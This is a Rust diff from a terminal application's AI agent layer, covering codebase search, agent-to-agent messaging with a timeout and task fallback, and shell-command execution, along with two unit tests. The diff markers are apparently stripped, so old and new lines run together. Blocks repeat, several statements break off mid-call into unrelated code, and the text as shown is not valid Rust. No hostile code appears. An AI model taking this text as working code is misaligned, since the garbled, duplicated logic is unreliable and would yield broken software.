.root_directory_for_remote_search(
|
||||
&session_context,
|
||||
requested_codebase_path.as_deref(),
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
let Some(root_dir_for_search) = root_dir_for_search else {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed,
|
||||
message: "The search failed because the codebase is not available. Try another way to locate the relevant files.".to_owned(),
|
||||
},
|
||||
));
|
||||
};
|
||||
|
||||
let Some(root_dir_for_search) = self.root_repo_paths.get(id) else {
|
||||
let action_id = id.clone();
|
||||
|
||||
// Check if directory exists on background thread since its a sys call; no need to block
|
||||
// main thread since its just for telemetry.
|
||||
let _ = ctx.spawn(async move { search_dir.exists() }, |_, exists, ctx| {
|
||||
let error = if exists {
|
||||
"The codebase isn't indexed".to_string()
|
||||
} else {
|
||||
"The codebase doesn't exist".to_string()
|
||||
};
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRepoUnavailable { action_id, error },
|
||||
ctx
|
||||
// Add the repo root as a temporary permission; if the user gave us permission to
|
||||
// search the repo, we can certainly search files within it for the rest of the convo.
|
||||
BlocklistAIPermissions::handle(ctx).update(ctx, |model, _ctx| {
|
||||
model.add_temporary_file_read_permissions(
|
||||
conversation_id,
|
||||
vec![root_dir_for_search.to_owned()],
|
||||
);
|
||||
});
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(SearchCodebaseResult::Failed {
|
||||
message: "The search failed because the codebase is not available. Try another way to locate the relevant files.".to_owned(),
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed
|
||||
}));
|
||||
};
|
||||
|
||||
// Add the repo root as a temporary permission; if the user gave us permission to
|
||||
// search the repo, we can certainly search files within it for the rest of the convo.
|
||||
BlocklistAIPermissions::handle(ctx).update(ctx, |model, _ctx| {
|
||||
model.add_temporary_file_read_permissions(
|
||||
conversation_id,
|
||||
vec![root_dir_for_search.to_owned()],
|
||||
);
|
||||
});
|
||||
let (result_tx, result_rx) = oneshot::channel();
|
||||
self.active_searches.insert(id.clone(), result_tx);
|
||||
|
||||
let (result_tx, result_rx) = oneshot::channel();
|
||||
self.active_searches.insert(id.clone(), result_tx);
|
||||
match self
|
||||
.get_relevant_files_controller
|
||||
.update(ctx, |controller, ctx| {
|
||||
controller.send_request(
|
||||
GetRelevantFilesRequestTarget::Remote {
|
||||
session_context,
|
||||
requested_codebase_path,
|
||||
},
|
||||
query.clone(),
|
||||
partial_paths.as_ref(),
|
||||
id.clone(),
|
||||
ctx,
|
||||
)
|
||||
}) {
|
||||
Ok(_) => ActionExecution::Async {
|
||||
execute_future: Box::pin(result_rx),
|
||||
on_complete: Box::new(
|
||||
|res: Result<SearchCodebaseResult, oneshot::Canceled>, _ctx| {
|
||||
let action_result =
|
||||
res.unwrap_or_else(|e| SearchCodebaseResult::Failed {
|
||||
message: e.to_string(),
|
||||
reason: SearchCodebaseFailureReason::ClientError,
|
||||
});
|
||||
AIAgentActionResultType::SearchCodebase(action_result)
|
||||
},
|
||||
),
|
||||
},
|
||||
Err(e) => {
|
||||
log::warn!("Failed to send remote get_relevant_files request: {e:?}");
|
||||
ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed,
|
||||
message: "Remote codebase search is unavailable.".to_owned(),
|
||||
},
|
||||
))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
let codebase_path = codebase_path.as_ref().map(PathBuf::from);
|
||||
|
||||
// Start the actual search.
|
||||
match self
|
||||
.get_relevant_files_controller
|
||||
.update(ctx, |controller, ctx| {
|
||||
controller.send_request(
|
||||
root_dir_for_search,
|
||||
query.clone(),
|
||||
partial_paths.as_ref(),
|
||||
id.clone(),
|
||||
ctx,
|
||||
)
|
||||
}) {
|
||||
Ok(_) => ActionExecution::Async {
|
||||
execute_future: Box::pin(result_rx),
|
||||
on_complete: Box::new(
|
||||
|res: Result<SearchCodebaseResult, oneshot::Canceled>, _ctx| {
|
||||
let action_result = res.unwrap_or_else(|e| SearchCodebaseResult::Failed {
|
||||
message: e.to_string(),
|
||||
reason: SearchCodebaseFailureReason::ClientError,
|
||||
});
|
||||
AIAgentActionResultType::SearchCodebase(action_result)
|
||||
let Some(current_working_directory) = self
|
||||
.active_session
|
||||
.as_ref(ctx)
|
||||
.current_working_directory()
|
||||
.map(PathBuf::from)
|
||||
else {
|
||||
// This should really never happen; it implies that we don't know what the
|
||||
// current working directory is, which is never the case.
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::MissingCurrentWorkingDirectory,
|
||||
message: "The search failed. Try another way to locate the relevant files."
|
||||
.to_string(),
|
||||
},
|
||||
),
|
||||
},
|
||||
Err(e) => {
|
||||
log::warn!("Failed to send get_relevant_files request for directory: {e:?}");
|
||||
));
|
||||
};
|
||||
|
||||
let error_message = match e {
|
||||
let search_dir;
|
||||
let is_cross_repo;
|
||||
if FeatureFlag::CrossRepoContext.is_enabled() {
|
||||
is_cross_repo = codebase_path
|
||||
.as_ref()
|
||||
.is_some_and(|path| !current_working_directory.starts_with(path));
|
||||
search_dir = codebase_path.unwrap_or(current_working_directory);
|
||||
} else {
|
||||
is_cross_repo = false;
|
||||
search_dir = current_working_directory;
|
||||
}
|
||||
let server_output_id = get_server_output_id(conversation_id, ctx);
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRequested {
|
||||
action_id: id.clone(),
|
||||
server_output_id,
|
||||
is_cross_repo,
|
||||
},
|
||||
ctx
|
||||
);
|
||||
|
||||
let Some(root_dir_for_search) = self.root_repo_paths.get(id) else {
|
||||
let action_id = id.clone();
|
||||
|
||||
// Check if directory exists on background thread since its a sys call; no need to block
|
||||
// main thread since its just for telemetry.
|
||||
let _ = ctx.spawn(async move { search_dir.exists() }, |_, exists, ctx| {
|
||||
let error = if exists {
|
||||
"The codebase isn't indexed".to_string()
|
||||
} else {
|
||||
"The codebase doesn't exist".to_string()
|
||||
};
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRepoUnavailable { action_id, error },
|
||||
ctx
|
||||
);
|
||||
});
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(SearchCodebaseResult::Failed {
|
||||
message: "The search failed because the codebase is not available. Try another way to locate the relevant files.".to_owned(),
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed
|
||||
}));
|
||||
};
|
||||
|
||||
// Add the repo root as a temporary permission; if the user gave us permission to
|
||||
// search the repo, we can certainly search files within it for the rest of the convo.
|
||||
BlocklistAIPermissions::handle(ctx).update(ctx, |model, _ctx| {
|
||||
model.add_temporary_file_read_permissions(
|
||||
conversation_id,
|
||||
vec![root_dir_for_search.to_owned()],
|
||||
);
|
||||
});
|
||||
|
||||
let (result_tx, result_rx) = oneshot::channel();
|
||||
self.active_searches.insert(id.clone(), result_tx);
|
||||
|
||||
// Start the actual search.
|
||||
match self
|
||||
.get_relevant_files_controller
|
||||
.update(ctx, |controller, ctx| {
|
||||
controller.send_request(
|
||||
GetRelevantFilesRequestTarget::Local {
|
||||
directory: root_dir_for_search.clone(),
|
||||
},
|
||||
query.clone(),
|
||||
partial_paths.as_ref(),
|
||||
id.clone(),
|
||||
ctx,
|
||||
)
|
||||
}) {
|
||||
Ok(_) => ActionExecution::Async {
|
||||
execute_future: Box::pin(result_rx),
|
||||
on_complete: Box::new(
|
||||
|res: Result<SearchCodebaseResult, oneshot::Canceled>, _ctx| {
|
||||
let action_result =
|
||||
res.unwrap_or_else(|e| SearchCodebaseResult::Failed {
|
||||
message: e.to_string(),
|
||||
reason: SearchCodebaseFailureReason::ClientError,
|
||||
});
|
||||
AIAgentActionResultType::SearchCodebase(action_result)
|
||||
},
|
||||
),
|
||||
},
|
||||
Err(e) => {
|
||||
log::warn!("Failed to send get_relevant_files request for directory: {e:?}");
|
||||
|
||||
let error_message = match e {
|
||||
GetRelevantFilesError::Pending => {
|
||||
"The current git repository is still being indexed, so search is unavailable right now. You can try again later".to_owned()
|
||||
}
|
||||
@@ -300,12 +397,13 @@ impl SearchCodebaseExecutor {
|
||||
"The current directory isn't within a git repository, which is necessary to search for relevant files.".to_owned()
|
||||
}
|
||||
};
|
||||
ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed,
|
||||
message: error_message,
|
||||
},
|
||||
))
|
||||
ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::CodebaseNotIndexed,
|
||||
message: error_message,
|
||||
},
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -333,6 +431,17 @@ impl SearchCodebaseExecutor {
|
||||
app: &AppContext,
|
||||
) -> Option<PathBuf> {
|
||||
let SearchCodebaseRequest { codebase_path, .. } = request;
|
||||
let session_context = SessionContext::from_session(self.active_session.as_ref(app), app);
|
||||
if session_context.is_remote() {
|
||||
let requested_codebase_path = codebase_path
|
||||
.as_deref()
|
||||
.filter(|path| !path.is_empty() && *path != ".");
|
||||
return self
|
||||
.get_relevant_files_controller
|
||||
.as_ref(app)
|
||||
.root_directory_for_remote_search(&session_context, requested_codebase_path, app);
|
||||
}
|
||||
|
||||
let codebase_path = codebase_path.as_deref().map(PathBuf::from);
|
||||
let Some(pwd) = self
|
||||
.active_session
|
||||
|
||||
@@ -1,28 +1,131 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use std::time::Duration;
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use anyhow::anyhow;
|
||||
use futures::future::BoxFuture;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use futures::future::Either;
|
||||
use futures::FutureExt;
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use warpui::r#async::Timer;
|
||||
use warpui::{AppContext, Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, SendMessageToAgentResult,
|
||||
};
|
||||
use crate::ai::ambient_agents::AmbientAgentTaskId;
|
||||
use crate::ai::blocklist::history_model::BlocklistAIHistoryModel;
|
||||
use crate::ai::blocklist::orchestration_events::{OrchestrationEventService, SendMessageResult};
|
||||
use crate::ai::blocklist::telemetry::{
|
||||
BlocklistOrchestrationTelemetryEvent, TeamAgentCommunicationFailedEvent,
|
||||
TeamAgentCommunicationFailureReason, TeamAgentCommunicationKind,
|
||||
TeamAgentCommunicationTransport, TeamAgentOrchestrationVersion,
|
||||
};
|
||||
use crate::server::server_api::ai::SendAgentMessageRequest;
|
||||
use crate::server::server_api::ai::{SendAgentMessageRequest, SendAgentMessageResponse};
|
||||
use crate::server::server_api::ServerApiProvider;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
const SEND_AGENT_MESSAGE_TIMEOUT: Duration = Duration::from_secs(15);
|
||||
|
||||
pub struct SendMessageToAgentExecutor;
|
||||
pub struct SendMessageToAgentExecutor {
|
||||
ambient_agent_task_id: Option<AmbientAgentTaskId>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
enum SendMessageTaskResolution {
|
||||
ConversationTask,
|
||||
AmbientTaskFallback,
|
||||
NoTaskContext,
|
||||
}
|
||||
|
||||
fn sender_run_id_and_task_id_for_send(
|
||||
conversation_id: AIConversationId,
|
||||
ambient_agent_task_id: Option<AmbientAgentTaskId>,
|
||||
ctx: &AppContext,
|
||||
) -> (
|
||||
String,
|
||||
Option<AmbientAgentTaskId>,
|
||||
SendMessageTaskResolution,
|
||||
) {
|
||||
let conversation = BlocklistAIHistoryModel::as_ref(ctx).conversation(&conversation_id);
|
||||
let conversation_task_id = conversation.and_then(|conversation| conversation.task_id());
|
||||
let (task_id, task_resolution) = match (conversation_task_id, ambient_agent_task_id) {
|
||||
(Some(task_id), _) => (Some(task_id), SendMessageTaskResolution::ConversationTask),
|
||||
(None, Some(task_id)) => (
|
||||
Some(task_id),
|
||||
SendMessageTaskResolution::AmbientTaskFallback,
|
||||
),
|
||||
(None, None) => (None, SendMessageTaskResolution::NoTaskContext),
|
||||
};
|
||||
let sender_run_id = conversation
|
||||
.and_then(|conversation| conversation.run_id())
|
||||
.or_else(|| task_id.map(|task_id| task_id.to_string()))
|
||||
.unwrap_or_default();
|
||||
(sender_run_id, task_id, task_resolution)
|
||||
}
|
||||
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
async fn send_agent_message_with_timeout(
|
||||
server_api: std::sync::Arc<crate::server::server_api::ServerApi>,
|
||||
ai_client: std::sync::Arc<dyn crate::server::server_api::ai::AIClient>,
|
||||
task_id: Option<AmbientAgentTaskId>,
|
||||
request: SendAgentMessageRequest,
|
||||
) -> anyhow::Result<SendAgentMessageResponse, anyhow::Error> {
|
||||
let task_id_for_timeout = task_id.map(|task_id| task_id.to_string());
|
||||
let send_message = async move {
|
||||
match task_id {
|
||||
Some(task_id) => {
|
||||
server_api
|
||||
.send_agent_message_for_task(&task_id, request)
|
||||
.await
|
||||
}
|
||||
None => ai_client.send_agent_message(request).await,
|
||||
}
|
||||
};
|
||||
let timeout = Timer::after(SEND_AGENT_MESSAGE_TIMEOUT);
|
||||
futures::pin_mut!(send_message);
|
||||
futures::pin_mut!(timeout);
|
||||
|
||||
match futures::future::select(send_message, timeout).await {
|
||||
Either::Left((result, _)) => result,
|
||||
Either::Right(_) => Err(anyhow!(
|
||||
"Timed out sending orchestration message{}",
|
||||
task_id_for_timeout
|
||||
.map(|task_id| format!(" for task {task_id}"))
|
||||
.unwrap_or_default()
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(target_family = "wasm")]
|
||||
async fn send_agent_message_with_timeout(
|
||||
server_api: std::sync::Arc<crate::server::server_api::ServerApi>,
|
||||
ai_client: std::sync::Arc<dyn crate::server::server_api::ai::AIClient>,
|
||||
task_id: Option<AmbientAgentTaskId>,
|
||||
request: SendAgentMessageRequest,
|
||||
) -> anyhow::Result<SendAgentMessageResponse, anyhow::Error> {
|
||||
match task_id {
|
||||
Some(task_id) => {
|
||||
server_api
|
||||
.send_agent_message_for_task(&task_id, request)
|
||||
.await
|
||||
}
|
||||
None => ai_client.send_agent_message(request).await,
|
||||
}
|
||||
}
|
||||
|
||||
impl SendMessageToAgentExecutor {
|
||||
pub fn new() -> Self {
|
||||
Self
|
||||
Self {
|
||||
ambient_agent_task_id: None,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn set_ambient_agent_task_id(&mut self, id: Option<AmbientAgentTaskId>) {
|
||||
self.ambient_agent_task_id = id;
|
||||
}
|
||||
|
||||
pub(super) fn should_autoexecute(
|
||||
@@ -56,96 +159,67 @@ impl SendMessageToAgentExecutor {
|
||||
let subject = subject.clone();
|
||||
let message_body = message.clone();
|
||||
|
||||
if FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
let sender_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&conversation_id)
|
||||
.and_then(|c| c.run_id())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_default();
|
||||
|
||||
// In local Bedrock mode, child agents run autonomously in their
|
||||
// own conversation loop — there's no server API to relay messages.
|
||||
// Return an error explaining the limitation so the model doesn't
|
||||
// keep polling in a loop.
|
||||
if sender_run_id.is_empty() {
|
||||
log::info!(
|
||||
"[send_message] No run_id for conversation {:?}, assuming local mode — skipping server API call",
|
||||
conversation_id
|
||||
);
|
||||
return ActionExecution::<()>::Sync(AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Error(
|
||||
"Child agents are running autonomously in local mode. \
|
||||
You cannot send messages to them. They will complete their \
|
||||
tasks independently. Continue with your own work or wait \
|
||||
for the user to share the results."
|
||||
.to_string(),
|
||||
),
|
||||
))
|
||||
.into();
|
||||
}
|
||||
let log_addresses = addresses.clone();
|
||||
let log_subject = subject.clone();
|
||||
let log_sender_run_id = sender_run_id.clone();
|
||||
let ai_client = ServerApiProvider::as_ref(ctx).get_ai_client();
|
||||
let request = SendAgentMessageRequest {
|
||||
to: addresses,
|
||||
subject,
|
||||
body: message_body,
|
||||
sender_run_id,
|
||||
};
|
||||
return ActionExecution::new_async(
|
||||
async move { ai_client.send_agent_message(request).await },
|
||||
move |result, ctx| match result {
|
||||
Ok(response) => {
|
||||
let message_id =
|
||||
response.message_ids.into_iter().next().unwrap_or_default();
|
||||
AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Success { message_id },
|
||||
)
|
||||
}
|
||||
Err(err) => {
|
||||
let error_message = err.to_string();
|
||||
send_telemetry_from_ctx!(
|
||||
BlocklistOrchestrationTelemetryEvent::TeamAgentCommunicationFailed(
|
||||
TeamAgentCommunicationFailedEvent {
|
||||
communication_kind: TeamAgentCommunicationKind::Message,
|
||||
transport: TeamAgentCommunicationTransport::ServerApi,
|
||||
orchestration_version: TeamAgentOrchestrationVersion::V2,
|
||||
failure_reason:
|
||||
TeamAgentCommunicationFailureReason::RequestFailed,
|
||||
source_conversation_id: conversation_id,
|
||||
source_run_id: (!log_sender_run_id.is_empty())
|
||||
.then(|| log_sender_run_id.clone()),
|
||||
target_count: Some(log_addresses.len()),
|
||||
lifecycle_event_type: None,
|
||||
error_message: Some(error_message.clone()),
|
||||
}
|
||||
),
|
||||
ctx
|
||||
);
|
||||
log::warn!(
|
||||
"Failed to send child-agent message via server API: conversation_id={conversation_id:?} sender_run_id={log_sender_run_id:?} target_agent_ids={log_addresses:?} subject={log_subject:?} error={err:#}"
|
||||
);
|
||||
AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Error(error_message),
|
||||
)
|
||||
}
|
||||
},
|
||||
)
|
||||
.into();
|
||||
}
|
||||
|
||||
let result = OrchestrationEventService::handle(ctx).update(ctx, |svc, ctx| {
|
||||
svc.send_message(conversation_id, &addresses, subject, message_body, ctx)
|
||||
});
|
||||
let result = match result {
|
||||
SendMessageResult::MessageSent { message_id } => {
|
||||
SendMessageToAgentResult::Success { message_id }
|
||||
}
|
||||
SendMessageResult::Error(error) => SendMessageToAgentResult::Error(error),
|
||||
let (sender_run_id, task_id, task_resolution) =
|
||||
sender_run_id_and_task_id_for_send(conversation_id, self.ambient_agent_task_id, ctx);
|
||||
let log_addresses = addresses.clone();
|
||||
let log_subject = subject.clone();
|
||||
let log_sender_run_id = sender_run_id.clone();
|
||||
let log_task_id = task_id.map(|task_id| task_id.to_string());
|
||||
let log_body_len = message_body.chars().count();
|
||||
let server_api = ServerApiProvider::as_ref(ctx).get();
|
||||
let ai_client = ServerApiProvider::as_ref(ctx).get_ai_client();
|
||||
log::info!(
|
||||
"Sending orchestration message: conversation_id={conversation_id:?} resolution={task_resolution:?} sender_run_id={log_sender_run_id:?} task_id={log_task_id:?} target_agent_ids={log_addresses:?} subject={log_subject:?} body_len={log_body_len}"
|
||||
);
|
||||
let request = SendAgentMessageRequest {
|
||||
to: addresses,
|
||||
subject,
|
||||
body: message_body,
|
||||
sender_run_id,
|
||||
};
|
||||
|
||||
ActionExecution::<()>::Sync(AIAgentActionResultType::SendMessageToAgent(result)).into()
|
||||
ActionExecution::new_async(
|
||||
async move {
|
||||
send_agent_message_with_timeout(server_api, ai_client, task_id, request).await
|
||||
},
|
||||
move |result, ctx| match result {
|
||||
Ok(response) => {
|
||||
let message_id = response.message_ids.into_iter().next().unwrap_or_default();
|
||||
log::info!(
|
||||
"Sent orchestration message: conversation_id={conversation_id:?} resolution={task_resolution:?} sender_run_id={log_sender_run_id:?} task_id={log_task_id:?} target_agent_ids={log_addresses:?} subject={log_subject:?} body_len={log_body_len} message_id={message_id:?}"
|
||||
);
|
||||
AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Success { message_id },
|
||||
)
|
||||
}
|
||||
Err(err) => {
|
||||
let error_message = err.to_string();
|
||||
send_telemetry_from_ctx!(
|
||||
BlocklistOrchestrationTelemetryEvent::TeamAgentCommunicationFailed(
|
||||
TeamAgentCommunicationFailedEvent {
|
||||
communication_kind: TeamAgentCommunicationKind::Message,
|
||||
transport: TeamAgentCommunicationTransport::ServerApi,
|
||||
orchestration_version: TeamAgentOrchestrationVersion::V2,
|
||||
failure_reason: TeamAgentCommunicationFailureReason::RequestFailed,
|
||||
source_conversation_id: conversation_id,
|
||||
source_run_id: (!log_sender_run_id.is_empty())
|
||||
.then(|| log_sender_run_id.clone()),
|
||||
target_count: Some(log_addresses.len()),
|
||||
lifecycle_event_type: None,
|
||||
error_message: Some(error_message.clone()),
|
||||
}
|
||||
),
|
||||
ctx
|
||||
);
|
||||
log::warn!(
|
||||
"Failed to send child-agent message via server API: conversation_id={conversation_id:?} resolution={task_resolution:?} sender_run_id={log_sender_run_id:?} task_id={log_task_id:?} target_agent_ids={log_addresses:?} subject={log_subject:?} body_len={log_body_len} error={err:#}"
|
||||
);
|
||||
AIAgentActionResultType::SendMessageToAgent(
|
||||
SendMessageToAgentResult::Error(error_message),
|
||||
)
|
||||
}
|
||||
},
|
||||
)
|
||||
.into()
|
||||
}
|
||||
|
||||
pub(super) fn preprocess_action(
|
||||
@@ -166,3 +240,7 @@ impl Default for SendMessageToAgentExecutor {
|
||||
impl Entity for SendMessageToAgentExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "send_message_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
|
||||
#[test]
|
||||
fn sender_run_id_and_task_id_for_send_falls_back_to_ambient_task_id() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let ambient_task_id = "11111111-1111-1111-1111-111111111111"
|
||||
.parse()
|
||||
.expect("valid ambient task id");
|
||||
|
||||
let (sender_run_id, task_id, task_resolution) = app.read(|ctx| {
|
||||
sender_run_id_and_task_id_for_send(conversation_id, Some(ambient_task_id), ctx)
|
||||
});
|
||||
|
||||
assert_eq!(sender_run_id, ambient_task_id.to_string());
|
||||
assert_eq!(task_id, Some(ambient_task_id));
|
||||
assert_eq!(
|
||||
task_resolution,
|
||||
SendMessageTaskResolution::AmbientTaskFallback
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sender_run_id_and_task_id_for_send_prefers_conversation_task_id() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let conversation_task_id = "22222222-2222-2222-2222-222222222222"
|
||||
.parse()
|
||||
.expect("valid conversation task id");
|
||||
let ambient_task_id = "33333333-3333-3333-3333-333333333333"
|
||||
.parse()
|
||||
.expect("valid ambient task id");
|
||||
|
||||
history_model.update(&mut app, |history_model, _| {
|
||||
history_model
|
||||
.conversation_mut(&conversation_id)
|
||||
.expect("conversation exists")
|
||||
.set_task_id(conversation_task_id);
|
||||
});
|
||||
|
||||
let (sender_run_id, task_id, task_resolution) = app.read(|ctx| {
|
||||
sender_run_id_and_task_id_for_send(conversation_id, Some(ambient_task_id), ctx)
|
||||
});
|
||||
|
||||
assert_eq!(sender_run_id, conversation_task_id.to_string());
|
||||
assert_eq!(task_id, Some(conversation_task_id));
|
||||
assert_eq!(task_resolution, SendMessageTaskResolution::ConversationTask);
|
||||
});
|
||||
}
|
||||
@@ -3,6 +3,7 @@ use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use bytes::Bytes;
|
||||
use chrono::{DateTime, Local};
|
||||
use futures::channel::oneshot;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::{select, FutureExt};
|
||||
@@ -15,9 +16,10 @@ use galaxyui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
use itertools::Itertools;
|
||||
use parking_lot::FairMutex;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{
|
||||
AIAgentActionId, AIAgentActionType, AIAgentPtyWriteMode, ReadShellCommandOutputResult,
|
||||
RequestCommandOutputResult, ShellCommandDelay, ShellCommandError,
|
||||
AIAgentActionId, AIAgentActionResultType, AIAgentActionType, AIAgentPtyWriteMode,
|
||||
ReadShellCommandOutputResult, RequestCommandOutputResult, ShellCommandDelay, ShellCommandError,
|
||||
TransferShellCommandControlToUserResult, WriteToLongRunningShellCommandResult,
|
||||
};
|
||||
use crate::ai::blocklist::permissions::CommandExecutionPermission;
|
||||
@@ -27,19 +29,12 @@ use crate::terminal::event::BlockMetadataReceivedEvent;
|
||||
use crate::terminal::model::block::{
|
||||
formatted_terminal_contents_for_input, Block, BlockId, CURSOR_MARKER,
|
||||
};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model_events::{ModelEvent, ModelEventDispatcher};
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::{
|
||||
ai::agent::AIAgentActionResultType,
|
||||
terminal::{
|
||||
model::session::active_session::ActiveSession,
|
||||
model_events::{ModelEvent, ModelEventDispatcher},
|
||||
TerminalModel,
|
||||
},
|
||||
};
|
||||
use crate::terminal::TerminalModel;
|
||||
use crate::{send_telemetry_from_ctx, TelemetryEvent};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
|
||||
pub struct ShellCommandExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
block_finished_senders: HashMap<BlockSelector, oneshot::Sender<()>>,
|
||||
@@ -79,7 +74,12 @@ impl ShellCommandExecutor {
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_terminal_model_event(&mut self, event: &ModelEvent, _ctx: &mut ModelContext<Self>) {
|
||||
fn handle_terminal_model_event(
|
||||
&mut self,
|
||||
_: ModelHandle<ModelEventDispatcher>,
|
||||
event: &ModelEvent,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
// We wait for precmd for the block _after_ the requested command's block so that
|
||||
// downstream checks for current working directory are fresh. The precmd hook is when
|
||||
// the shell relays current working directory to warp.
|
||||
@@ -252,6 +252,18 @@ impl ShellCommandExecutor {
|
||||
},
|
||||
));
|
||||
}
|
||||
// If another conversation has taken over the agent view since this command
|
||||
// was requested, cancel instead of executing.
|
||||
let is_displaced_by_other_conversation = model
|
||||
.block_list()
|
||||
.agent_view_state()
|
||||
.active_conversation_id()
|
||||
.is_some_and(|active_id| active_id != input.conversation_id);
|
||||
if is_displaced_by_other_conversation {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::RequestCommandOutput(
|
||||
RequestCommandOutputResult::CancelledBeforeExecution,
|
||||
));
|
||||
}
|
||||
// If the command might use pager and can't be interacted with,
|
||||
// we pipe its output to cat so we can prevent activating the altscreen.
|
||||
// The parentheses here ensures the command always gets evaluated first.
|
||||
@@ -307,12 +319,16 @@ impl ShellCommandExecutor {
|
||||
if block.finished() {
|
||||
let output: String = block.output_with_secrets_unobfuscated();
|
||||
let exit_code = block.exit_code();
|
||||
let start_ts = block.start_ts().cloned();
|
||||
let completed_ts = block.completed_ts().cloned();
|
||||
return ActionExecution::Sync(
|
||||
AIAgentActionResultType::WriteToLongRunningShellCommand(
|
||||
WriteToLongRunningShellCommandResult::CommandFinished {
|
||||
block_id: block.id().clone(),
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
),
|
||||
);
|
||||
@@ -360,12 +376,16 @@ impl ShellCommandExecutor {
|
||||
let command = block.command_with_secrets_unobfuscated(false);
|
||||
let output: String = block.output_with_secrets_unobfuscated();
|
||||
let exit_code = block.exit_code();
|
||||
let start_ts = block.start_ts().cloned();
|
||||
let completed_ts = block.completed_ts().cloned();
|
||||
return ActionExecution::Sync(AIAgentActionResultType::ReadShellCommandOutput(
|
||||
ReadShellCommandOutputResult::CommandFinished {
|
||||
command,
|
||||
block_id: block_id.clone(),
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
));
|
||||
}
|
||||
@@ -451,6 +471,8 @@ impl ShellCommandExecutor {
|
||||
block_id: block.id().clone(),
|
||||
output: block.output_with_secrets_unobfuscated(),
|
||||
exit_code: block.exit_code(),
|
||||
